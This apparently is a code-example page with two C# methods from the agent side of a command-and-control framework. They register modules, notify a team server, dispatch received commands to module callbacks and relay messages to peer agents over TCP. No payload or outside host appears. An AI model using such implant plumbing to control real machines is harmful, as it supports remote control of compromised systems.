Ejemplo n.º 1
0
        public void RegisterAgentModule(IAgentModule module)
        {
            var info = module.GetModuleInfo();

            AgentModules.Add(info);
            module.Init(this, Config);

            if (info.NotifyTeamServer)
            {
                SendData(new AgentMessage
                {
                    IdempotencyKey = Guid.NewGuid().ToString(),
                    Metadata       = Config.GetOption(ConfigSetting.Metadata) as AgentMetadata,
                    Data           = new C2Data {
                        Module = "Core", Command = "RegisterAgentModule", Data = Serialisation.SerialiseData(info)
                    }
                });
            }
        }
Ejemplo n.º 2
0
        private void HandleC2Data(AgentMessage message)
        {
            if (IdempotencyKeys.Contains(message.IdempotencyKey))
            {
                SendError("Duplicate IdempotencyKey.");
                return;
            }
            else
            {
                IdempotencyKeys.Add(message.IdempotencyKey);
            }

            if (string.IsNullOrEmpty(message.Data.AgentID) || message.Data.AgentID == (Config.GetOption(ConfigSetting.Metadata) as AgentMetadata).AgentID)    // message is for this agent
            {
                if (!string.IsNullOrEmpty(message.Data.Module))
                {
                    try
                    {
                        var callBack = AgentModules
                                       .Where(m => m.Name.Equals(message.Data.Module, StringComparison.OrdinalIgnoreCase))
                                       .Select(m => m.Commands).FirstOrDefault()
                                       .Where(c => c.Name.Equals(message.Data.Command, StringComparison.OrdinalIgnoreCase))
                                       .Select(c => c.CallBack).FirstOrDefault();

                        callBack?.Invoke(message.Data.Data);
                    }
                    catch (Exception e)
                    {
                        SendError(e.Message);
                    }
                }
            }
            else  // message is for another agent
            {
                foreach (var tcpClient in TcpClients) // how lazy is this!!!!
                {
                    tcpClient.SendData(message);
                }
            }
        }